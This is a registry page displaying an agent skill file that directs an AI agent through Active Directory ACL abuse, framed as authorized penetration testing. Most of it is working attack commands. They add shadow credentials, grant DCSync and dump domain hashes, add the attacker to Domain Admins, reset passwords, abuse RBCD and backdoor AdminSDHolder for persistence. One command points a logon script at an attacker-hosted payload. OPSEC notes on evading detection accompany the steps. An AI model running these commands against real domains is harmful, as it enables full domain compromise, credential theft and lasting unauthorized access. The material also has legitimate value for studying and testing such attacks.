agentleFS
ajtazerajtazer/heckit/skills/active-directory/ad-acl-abuse/SKILL.md

ad-acl-abuse

Skill2 starsChanged 2 months agoMITView on GitHub

You are helping a penetration tester exploit misconfigured Active Directory

1 other project uses a version of this.

Adopted by

Most recently taken up by

The file

Show its rules and text

We split this skill into the rules it gives an agent

17 rules. About 0 are common, 8 are distinctive, and 9 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈8

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 9

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  • could be automatic: a setting could enforce it
  1. Very specific:

    Kerberos-first authentication: All commands default to Kerberos auth via ccache.

    line 14
  2. Very specific:

    Check for ./engagement/ directory.

    line 20
  3. Distinctive:

    When an engagement directory exists:

    line 22
  4. Very specific:

    Call get_state_summary() from the state MCP server to read current engagement state.

    line 29
  5. Very specific:

    Add a key credential to the target's msDS-KeyCredentialLink attribute, then authenticate via PKINIT.

    line 129
  6. Distinctive:

    Add yourself (or a controlled user) to a privileged group.

    line 269
  7. Distinctive:

    If you have write access to a computer object, set up Resource-Based Constrained Delegation.

    line 412
  8. Distinctive:

    STOP and return to the orchestrator with:

    line 470
  9. Distinctive:

    If no CA exists, fall back to targeted Kerberoasting (Option B).

    line 483
  10. Distinctive:

    Ensure the PFX password matches what was output during creation

    line 487
  11. Distinctive:

    Verify the DC has an enrollment agent certificate

    line 488
  12. Distinctive:

    Check that PKINIT is enabled in domain policies

    line 489
  13. Very specific:

    Verify with get object --attr nTSecurityDescriptor after modification

    line 502
  14. Very specific:

    Ensure -k flag is present for Kerberos auth

    line 506
  15. Very specific:

    Verify KRB5CCNAME points to a valid ccache

    line 507
  16. Very specific:

    Always include --dc-ip DC_IP: when using Kerberos auth — DNS resolution failures are common in lab environments and cause bloodyAD to …

    line 509
  17. Very specific:

    All bloodyAD Kerberos commands should use: bloodyAD -d DOMAIN -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP ...

    line 511

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

ACL/ACE Abuse

You are helping a penetration tester exploit misconfigured Active Directory access control lists for privilege escalation. All testing is under explicit written authorization.

Kerberos-first authentication: All commands default to Kerberos auth via ccache. Use -k -no-pass (Impacket), --use-kcache (NetExec), -k (bloodyAD, Certipy) throughout. Shadow credentials + PKINIT is natively Kerberos.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [acl-abuse] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Domain credentials (any level — ACL paths often start from low-priv users)
  • Identified ACL misconfiguration (via BloodHound, PowerView, or bloodyAD)
  • Tools: bloodyAD, Impacket suite, optionally PowerView, pywhisker, Certipy, dacledit.py, Whisker.exe

Kerberos-first workflow:

cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
# or with password
cd $TMPDIR && getTGT.py DOMAIN/user:'Password123!' -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache
# All subsequent commands use -k -no-pass or equivalent

Tool output directory: getTGT.py, certipy shadow, and bloodyAD add shadowCredentials write output files to CWD. Always prefix with cd $TMPDIR &&. getTGT.py does NOT support -out. When saving evidence, use mv (not cp) to avoid stray duplicates.

Step 1: Enumerate Exploitable ACLs

Skip if BloodHound or ad-discovery already identified the path.

bloodyAD (Linux — Preferred)

# Find objects you can write to
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
  --otype USER --right WRITE --detail

bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
  --otype GROUP --right WRITE --detail

bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
  --otype COMPUTER --right WRITE --detail

# Check specific object
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get object \
  targetuser --attr nTSecurityDescriptor --resolve-sd

PowerView (Windows)

# Scan for exploitable ACLs
Invoke-ACLScanner -ResolveGUIDs | Select ObjectDN,IdentityReferenceName,ActiveDirectoryRights

# Check specific object
Get-ObjectAcl -SamAccountName targetuser -ResolveGUIDs | ? {
  $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword"
}

BloodHound Queries

# Shortest path from owned to Domain Admins via ACL edges
MATCH p=shortestPath((n {owned:true})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|Owns*1..]->(m:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p

# All ACL edges from a specific user
MATCH p=(n:User {name:'USER@DOMAIN.LOCAL'})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword]->(m) RETURN p

Decision Tree

ACL RightTarget TypeGo To
GenericAllUserStep 2 (choose: shadow creds, SPN abuse, password reset)
GenericAllGroupStep 3 (add yourself to group)
GenericAllComputerStep 7 (RBCD setup)
GenericWriteUserStep 2 (shadow creds, SPN abuse, logon script)
GenericWriteComputerStep 7 (RBCD)
WriteDACLDomain objectStep 4 (grant DCSync rights)
WriteDACLGroup/UserStep 4 (grant GenericAll, then escalate)
WriteOwnerAnyStep 5 (take ownership, then WriteDACL)
ForceChangePasswordUserStep 6 (reset password — destructive)

Step 2: GenericAll / GenericWrite on User

You have full control or write access to a user object. Multiple techniques available — choose by OPSEC preference.

Option A: Shadow Credentials (Lowest OPSEC — Preferred)

Add a key credential to the target's msDS-KeyCredentialLink attribute, then authenticate via PKINIT. No password change, pure Kerberos.

Requirements: DC is Windows Server 2016+, AD CS configured, PKINIT enabled.

# bloodyAD — add shadow credential (preferred, most commonly installed)
cd $TMPDIR && bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL \
  --dc-ip DC_IP add shadowCredentials targetuser
# Output: PFX file + password + NT hash

# Alternative: pywhisker
cd $TMPDIR && pywhisker.py -d DOMAIN.LOCAL -u attacker -k --no-pass \
  --target targetuser --action add --filename targetuser_cert
# Output: PFX file path + password + DeviceID (save for cleanup)

# Alternative: Certipy (full automation — adds cred + gets TGT)
cd $TMPDIR && certipy shadow auto -account targetuser -dc-ip DC_IP -k -no-pass \
  -target DC.DOMAIN.LOCAL

Authenticate with the PFX (PKINIT):

# Get TGT via PKINIT
gettgtpkinit.py DOMAIN.LOCAL/targetuser targetuser.ccache \
  -cert-pfx targetuser_cert.pfx -pfx-pass 'PFX_PASSWORD'

# Or with Certipy
certipy auth -pfx targetuser_cert.pfx -dc-ip DC_IP

# Use the TGT
export KRB5CCNAME=targetuser.ccache
secretsdump.py -k -no-pass DOMAIN/targetuser@DC.DOMAIN.LOCAL

If target is a computer account — S4U2Self for impersonation:

# Get TGT for the computer
gettgtpkinit.py DOMAIN.LOCAL/TARGET\$ target.ccache \
  -cert-pfx target_cert.pfx -pfx-pass 'PFX_PASSWORD'

# S4U2Self to impersonate Administrator
export KRB5CCNAME=target.ccache
gets4uticket.py kerberos+ccache://DOMAIN.LOCAL\\TARGET\$:target.ccache@DC.DOMAIN.LOCAL \
  cifs/TARGET.DOMAIN.LOCAL@DOMAIN.LOCAL Administrator@DOMAIN.LOCAL admin.ccache

export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL

Cleanup (critical):

# bloodyAD (preferred)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  remove shadowCredentials targetuser --key KEY_ID

# Or pywhisker
pywhisker.py -d DOMAIN.LOCAL -u attacker -k --no-pass \
  --target targetuser --action remove --device-id DEVICE_ID

# Verify removal
pywhisker.py -d DOMAIN.LOCAL -u attacker -k --no-pass \
  --target targetuser --action list

Option B: Targeted Kerberoasting (SPN Manipulation)

Set an SPN on the target user, request a TGS, crack it offline, remove the SPN.

# Check current SPNs (should be empty for regular users)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get object \
  targetuser --attr serviceprincipalname

# Set SPN
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
  targetuser serviceprincipalname -v 'ops/whatever1'

# Extract TGS
GetUserSPNs.py DOMAIN/attacker -k -no-pass -request-user targetuser \
  -outputfile engagement/evidence/acl-targeted-kerberoast.txt

# Do NOT crack here — save hash and route to credential-recovery
# (hashcat mode 13100 for RC4, 19700 for AES)

# Remove SPN immediately (cleanup)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
  targetuser serviceprincipalname
# PowerView (Windows)
Set-DomainObject targetuser -Set @{serviceprincipalname='ops/whatever1'}
Get-DomainUser targetuser | Get-DomainSPNTicket | fl
Set-DomainObject -Identity targetuser -Clear serviceprincipalname

OPSEC: Medium — SPN creation logged as Event 5136. Remove SPN immediately after TGS extraction. Do NOT crack hashes in this skill. Save hashes to engagement/evidence/ and return to the orchestrator with the hash file path, hash type/mode, and a routing recommendation to credential-recovery.

Option C: ASREPRoasting (Disable Pre-Auth)

# Disable Kerberos pre-authentication
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add uac \
  targetuser -f DONT_REQ_PREAUTH

# Get AS-REP hash
GetNPUsers.py DOMAIN/targetuser -format hashcat \
  -outputfile engagement/evidence/acl-asrep-hash.txt -k -no-pass

# Do NOT crack here — save hash and route to credential-recovery
# (hashcat mode 18200 for AS-REP)

# Restore pre-auth (cleanup)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove uac \
  targetuser -f DONT_REQ_PREAUTH

OPSEC: Medium — UAC change logged as Event 5136. Disabled pre-auth is unusual and may trigger alerts.

Option D: Logon Script Path

# Set logon script (executes at user's next logon)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
  targetuser scriptpath -v '\\ATTACKER_IP\share\payload.bat'

# Cleanup
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
  targetuser scriptpath -v ''

OPSEC: Medium-High — requires user logon, script path visible in AD.

Step 3: GenericAll / GenericWrite on Group

Add yourself (or a controlled user) to a privileged group.

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  add groupMember 'Domain Admins' attacker

# Verify
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  get groupMember 'Domain Admins'

# Cleanup
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  remove groupMember 'Domain Admins' attacker
# PowerView
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
Get-DomainGroupMember -Identity 'Domain Admins'
Remove-DomainGroupMember -Identity 'Domain Admins' -Members attacker

OPSEC: High — Group membership changes logged as Event 4728/4732/4756. Domain Admins modifications generate immediate alerts. Consider targeting less-monitored groups that still provide the access you need.

Step 4: WriteDACL

Grant yourself additional permissions on the target object.

WriteDACL on Domain Object → DCSync

# Grant DCSync rights (Replicating Directory Changes + All)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add dcsync attacker

# Or with dacledit.py
dacledit.py -action write -rights DCSync -principal attacker \
  -target-dn 'DC=DOMAIN,DC=LOCAL' DOMAIN/attacker -k -no-pass

# Perform DCSync
secretsdump.py -k -no-pass DOMAIN/attacker@DC.DOMAIN.LOCAL -just-dc

# Cleanup — remove DCSync rights
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove dcsync attacker

WriteDACL on Group/User → GenericAll

# Grant GenericAll on group
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add genericAll \
  'CN=Domain Admins,CN=Users,DC=DOMAIN,DC=LOCAL' attacker

# Now you have GenericAll — proceed to Step 3 (group) or Step 2 (user)

# Cleanup
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove genericAll \
  'CN=Domain Admins,CN=Users,DC=DOMAIN,DC=LOCAL' attacker
# PowerView
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -Rights All \
  -PrincipalIdentity attacker -Verbose

WriteDACL on OU → Inheritance

# Grant FullControl on OU with inheritance (propagates to all children)
dacledit.py -action write -rights FullControl -inheritance \
  -principal attacker -target-dn 'OU=SERVERS,DC=DOMAIN,DC=LOCAL' \
  DOMAIN/attacker -k -no-pass

Note: Objects with adminCount=1 do NOT inherit from parent OUs (AdminSDHolder protection).

OPSEC: High — ACL changes logged as Event 5136, Event 4662 for directory access. DCSync triggers Event 4662 with replication GUIDs.

Step 5: WriteOwner

Take ownership of an object, then modify its DACL.

# Step 1: Change owner to yourself
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  set owner targetobject attacker

# Step 2: As owner, grant yourself GenericAll
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  add genericAll targetobject attacker

# Step 3: Exploit (password reset, shadow creds, group add, etc.)
# ... use techniques from Step 2 or Step 3

# Cleanup: restore original owner and remove ACL
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  remove genericAll targetobject attacker
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  set owner targetobject original_owner
# PowerView
Set-DomainObjectOwner -Identity targetobject -OwnerIdentity attacker
Add-DomainObjectAcl -TargetIdentity targetobject -Rights All \
  -PrincipalIdentity attacker

OPSEC: Medium — Owner change logged as Event 4670. Two-step attack creates an audit trail.

Step 6: ForceChangePassword

Reset a user's password without knowing the current one. Destructive — the user will be locked out of their account.

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set password \
  targetuser 'NewP@ssw0rd!'

# rpcclient
rpcclient -U 'attacker%password' DC_IP \
  -c "setuserinfo2 targetuser 23 'NewP@ssw0rd!'"
# PowerView
Set-DomainUserPassword -Identity targetuser \
  -AccountPassword (ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force)

OPSEC: High — Password reset logged as Event 4724. User loses access. Triggers MFA re-enrollment, conditional access, and help desk tickets. Use shadow credentials (Step 2 Option A) instead whenever possible.

Step 7: GenericAll/GenericWrite on Computer → RBCD

If you have write access to a computer object, set up Resource-Based Constrained Delegation.

# Create attacker computer account (if needed)
addcomputer.py -computer-name 'FAKECOMP$' -computer-pass 'P@ssw0rd!' \
  DOMAIN/attacker -k -no-pass

# Set RBCD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add rbcd 'TARGET$' 'FAKECOMP$'

# S4U attack — see kerberos-delegation skill for full chain
getST.py -spn cifs/TARGET.DOMAIN.LOCAL -impersonate Administrator \
  DOMAIN/'FAKECOMP$':'P@ssw0rd!'

export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL

# Cleanup
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove rbcd 'TARGET$' 'FAKECOMP$'

Escalate (Step 4) for the full RBCD exploitation chain.

Step 8: AdminSDHolder Persistence

Concept: AdminSDHolder is a template object. SDProp runs every 60 minutes and copies AdminSDHolder's DACL to all objects with adminCount=1 (Domain Admins, Enterprise Admins, etc.). Backdoor AdminSDHolder → your ACE propagates to all privileged accounts.

Requires: Existing Domain Admin access (persistence technique, not escalation).

# Add GenericAll for attacker on AdminSDHolder
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add genericAll \
  'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' attacker

# Wait for SDProp (60 minutes by default) or force it:
# On DC as admin:
Invoke-ADSDPropagation  # PowerShell
# or
ldifde -i -f sdprop.ldf  # LDAP modification to trigger SDProp

# After propagation: attacker has GenericAll on all adminCount=1 objects
# This persists across password changes, group modifications, etc.

# Cleanup
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove genericAll \
  'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' attacker
# Note: cleanup won't propagate until next SDProp cycle

OPSEC: Medium — AdminSDHolder ACL changes are rarely monitored but highly suspicious if found during forensics. SDProp propagation is normal AD behavior.

Step 9: Escalate or Pivot

STOP and return to the orchestrator with:

  • What was achieved (RCE, creds, file read, etc.)
  • New credentials, access, or pivot paths discovered
  • Context for next steps (platform, access method, working payloads)

Troubleshooting

Shadow Credentials: "Key credential not supported"

DC must be Windows Server 2016+ with AD CS and PKINIT configured. Check:

certipy find -dc-ip DC_IP -k -no-pass -stdout | grep "Certificate Authority"

If no CA exists, fall back to targeted Kerberoasting (Option B).

Shadow Credentials: PKINIT Auth Fails

  • Ensure the PFX password matches what was output during creation
  • Verify the DC has an enrollment agent certificate
  • Check that PKINIT is enabled in domain policies
  • Try certipy shadow auto for automated handling

ForceChangePassword: "Access Denied"

  • The ExtendedRight for password reset may not be inherited. Check the specific ACE on the target object, not just the OU.
  • Some accounts have explicit deny ACEs that override inherited allow.

WriteDACL Succeeds But Exploitation Fails

  • ACL changes may take time to replicate across DCs (AD replication lag)
  • Target the same DC for both ACL modification and exploitation
  • Verify with get object --attr nTSecurityDescriptor after modification

bloodyAD: "Unable to connect"

  • Ensure -k flag is present for Kerberos auth
  • Verify KRB5CCNAME points to a valid ccache
  • Try --host DC_FQDN (not IP) for Kerberos name resolution
  • Always include --dc-ip DC_IP when using Kerberos auth — DNS resolution failures are common in lab environments and cause bloodyAD to hang or error. All bloodyAD Kerberos commands should use: bloodyAD -d DOMAIN -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP ...

Shadow Credentials: S4U ccache cannot write to other objects

Shadow credential authentication produces an S4U service ticket (not a full TGT). This ticket has limited scope — it authenticates for the target account but may fail for LDAP writes against other AD objects. If you need to chain shadow credentials to modify a second account:

# Don't use the shadow credential ccache for the second target
# Instead, get a proper TGT using the NT hash from shadow creds
cd $TMPDIR && getTGT.py DOMAIN/compromised_user -hashes :NTHASH -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/compromised_user.ccache
# Now this TGT works for LDAP writes against any object

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

OPSEC Comparison

TechniqueOPSECEvent IDsDestructive
Shadow CredentialsLOW5136 (attr change)No
Targeted KerberoastingMEDIUM5136 (SPN), 4769 (TGS)No
ASREPRoast (UAC change)MEDIUM5136 (UAC)No
WriteDACL → DCSyncHIGH5136, 4662No
Group Membership AddHIGH4728/4732/4756No
Password ResetHIGH4724Yes
AdminSDHolder BackdoorMEDIUM5136No (persistence)

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.